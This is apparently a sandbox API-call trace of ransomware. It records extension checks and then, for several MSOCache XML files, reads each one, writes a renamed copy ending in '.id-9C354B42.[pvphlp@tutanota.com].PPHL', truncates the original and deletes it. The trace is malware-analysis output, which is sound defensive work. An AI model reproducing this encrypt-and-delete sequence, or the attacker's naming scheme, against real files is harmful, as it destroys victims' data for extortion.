lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0060.369] lstrlenW (lpString=".ppt") returned 4 [0060.369] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.369] lstrlenW (lpString=".zip") returned 4 [0060.369] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.369] lstrlenW (lpString=".rar") returned 4 [0060.369] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.369] lstrlenW (lpString=".bz2") returned 4 [0060.369] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.369] lstrlenW (lpString=".7z") returned 3 [0060.369] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.370] lstrlenW (lpString=".dbf") returned 4 [0060.370] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.370] lstrlenW (lpString=".1cd") returned 4 [0060.370] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.370] lstrlenW (lpString=".jpg") returned 4 [0060.370] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.370] lstrlenW (lpString=".doc") returned 4 [0060.370] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.370] lstrlenW (lpString=".docx") returned 5 [0060.370] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0060.370] lstrlenW (lpString=".pdf") returned 4 [0060.370] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.370] lstrlenW (lpString=".xls") returned 4 [0060.370] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.370] lstrlenW (lpString=".xlsx") returned 5 [0060.370] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0060.370] lstrlenW (lpString=".ppt") returned 4 [0060.370] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.370] lstrlenW (lpString=".zip") returned 4 [0060.370] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.370] lstrlenW (lpString=".rar") returned 4 [0060.370] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.370] lstrlenW (lpString=".bz2") returned 4 [0060.370] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.370] lstrlenW (lpString=".7z") returned 3 [0060.370] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.370] lstrlenW (lpString=".dbf") returned 4 [0060.370] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.371] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.371] lstrlenW (lpString=".1cd") returned 4 [0060.371] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.371] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.371] lstrlenW (lpString=".jpg") returned 4 [0060.371] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.371] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0060.371] lstrlenW (lpString="Office32MUI.xml") returned 15 [0060.371] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0060.372] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=1383) returned 1 [0060.372] CloseHandle (hObject=0x194) returned 1 [0060.372] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 0x2020 [0060.372] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0060.372] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0060.372] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.372] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.372] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0060.373] GetLastError () returned 0x0 [0060.373] ReadFile (in: hFile=0x194, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x567, lpOverlapped=0x0) returned 1 [0060.581] WriteFile (in: hFile=0x198, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x570, lpOverlapped=0x0) returned 1 [0060.582] ReadFile (in: hFile=0x194, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.582] WriteFile (in: hFile=0x198, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0060.582] SetEndOfFile (hFile=0x198) returned 1 [0060.583] CloseHandle (hObject=0x198) returned 1 [0060.584] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.584] SetEndOfFile (hFile=0x194) returned 1 [0060.584] CloseHandle (hObject=0x194) returned 1 [0060.585] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0060.585] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 1 [0060.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0060.585] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0060.585] lstrlenW (lpString=".doc") returned 4 [0060.585] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.585] lstrlenW (lpString=".docx") returned 5 [0060.585] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0060.585] lstrlenW (lpString=".pdf") returned 4 [0060.585] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.585] lstrlenW (lpString=".xls") returned 4 [0060.585] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.585] lstrlenW (lpString=".xlsx") returned 5 [0060.585] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0060.585] lstrlenW (lpString=".ppt") returned 4 [0060.586] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0060.586] lstrlenW (lpString=".zip") returned 4 [0060.586] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.586] lstrlenW (lpString=".rar") returned 4 [0060.586] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.586] lstrlenW (lpString=".bz2") returned 4 [0060.586] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.586] lstrlenW (lpString=".7z") returned 3 [0060.586] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0060.586] lstrlenW (lpString=".dbf") returned 4 [0060.586] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0060.586] lstrlenW (lpString=".1cd") returned 4 [0060.586] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0060.586] lstrlenW (lpString=".jpg") returned 4 [0060.586] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0060.586] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0060.586] lstrlenW (lpString=".doc") returned 4 [0060.586] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.586] lstrlenW (lpString=".docx") returned 5 [0060.586] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0060.586] lstrlenW (lpString=".pdf") returned 4 [0060.586] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.586] lstrlenW (lpString=".xls") returned 4 [0060.586] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.586] lstrlenW (lpString=".xlsx") returned 5 [0060.587] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0060.587] lstrlenW (lpString=".ppt") returned 4 [0060.587] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0060.587] lstrlenW (lpString=".zip") returned 4 [0060.587] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.587] lstrlenW (lpString=".rar") returned 4 [0060.587] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.587] lstrlenW (lpString=".bz2") returned 4 [0060.587] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.587] lstrlenW (lpString=".7z") returned 3 [0060.587] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0060.587] lstrlenW (lpString=".dbf") returned 4 [0060.587] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0060.587] lstrlenW (lpString=".1cd") returned 4 [0060.587] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.587] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0060.587] lstrlenW (lpString=".jpg") returned 4 [0060.587] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.587] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0060.587] lstrlenW (lpString="InfoPathMUI.xml") returned 15 [0060.587] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0060.588] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=1231) returned 1 [0060.588] CloseHandle (hObject=0x194) returned 1 [0060.589] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 0x2020 [0060.589] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0060.589] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0060.589] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.589] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.589] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0060.589] GetLastError () returned 0x0 [0060.589] ReadFile (in: hFile=0x194, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x4cf, lpOverlapped=0x0) returned 1 [0060.668] WriteFile (in: hFile=0x198, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0060.669] ReadFile (in: hFile=0x194, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.669] WriteFile (in: hFile=0x198, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0060.669] SetEndOfFile (hFile=0x198) returned 1 [0060.669] CloseHandle (hObject=0x198) returned 1 [0060.676] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.676] SetEndOfFile (hFile=0x194) returned 1 [0060.677] CloseHandle (hObject=0x194) returned 1 [0060.677] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0060.677] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 1 [0060.678] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0060.678] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0060.678] lstrlenW (lpString=".doc") returned 4 [0060.678] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.678] lstrlenW (lpString=".docx") returned 5 [0060.678] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0060.678] lstrlenW (lpString=".pdf") returned 4 [0060.678] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.678] lstrlenW (lpString=".xls") returned 4 [0060.678] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.678] lstrlenW (lpString=".xlsx") returned 5 [0060.678] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0060.678] lstrlenW (lpString=".ppt") returned 4 [0060.678] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.678] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0060.678] lstrlenW (lpString=".zip") returned 4 [0060.678] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.678] lstrlenW (lpString=".rar") returned 4 [0060.678] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.678] lstrlenW (lpString=".bz2") returned 4 [0060.678] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.678] lstrlenW (lpString=".7z") returned 3 [0060.678] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.678] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0060.678] lstrlenW (lpString=".dbf") returned 4 [0060.678] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.678] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0060.678] lstrlenW (lpString=".1cd") returned 4 [0060.679] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.679] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0060.679] lstrlenW (lpString=".jpg") returned 4 [0060.679] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.679] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0060.679] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0060.679] lstrlenW (lpString=".doc") returned 4 [0060.679] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.679] lstrlenW (lpString=".docx") returned 5 [0060.679] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0060.679] lstrlenW (lpString=".pdf") returned 4 [0060.679] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.679] lstrlenW (lpString=".xls") returned 4 [0060.679] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.679] lstrlenW (lpString=".xlsx") returned 5 [0060.679] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0060.679] lstrlenW (lpString=".ppt") returned 4 [0060.679] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.679] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0060.679] lstrlenW (lpString=".zip") returned 4 [0060.679] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.679] lstrlenW (lpString=".rar") returned 4 [0060.679] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.679] lstrlenW (lpString=".bz2") returned 4 [0060.679] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.679] lstrlenW (lpString=".7z") returned 3 [0060.679] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.679] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0060.679] lstrlenW (lpString=".dbf") returned 4 [0060.679] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.679] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0060.679] lstrlenW (lpString=".1cd") returned 4 [0060.679] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.679] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0060.680] lstrlenW (lpString=".jpg") returned 4 [0060.680] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.680] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0060.680] lstrlenW (lpString="Setup.xml") returned 9 [0060.680] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0060.680] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=1852) returned 1 [0060.680] CloseHandle (hObject=0x194) returned 1 [0060.680] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0060.680] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0060.680] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0060.680] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.681] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.681] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0060.681] GetLastError () returned 0x0 [0060.681] ReadFile (in: hFile=0x194, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x73c, lpOverlapped=0x0) returned 1 [0060.699] WriteFile (in: hFile=0x198, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x740, lpOverlapped=0x0) returned 1 [0060.701] ReadFile (in: hFile=0x194, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.701] WriteFile (in: hFile=0x198, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0060.701] SetEndOfFile (hFile=0x198) returned 1 [0060.701] CloseHandle (hObject=0x198) returned 1 [0060.703] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.703] SetEndOfFile (hFile=0x194) returned 1 [0060.704] CloseHandle (hObject=0x194) returned 1 [0060.704] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0060.704] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0060.704] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.704] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.704] lstrlenW (lpString=".doc") returned 4 [0060.704] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 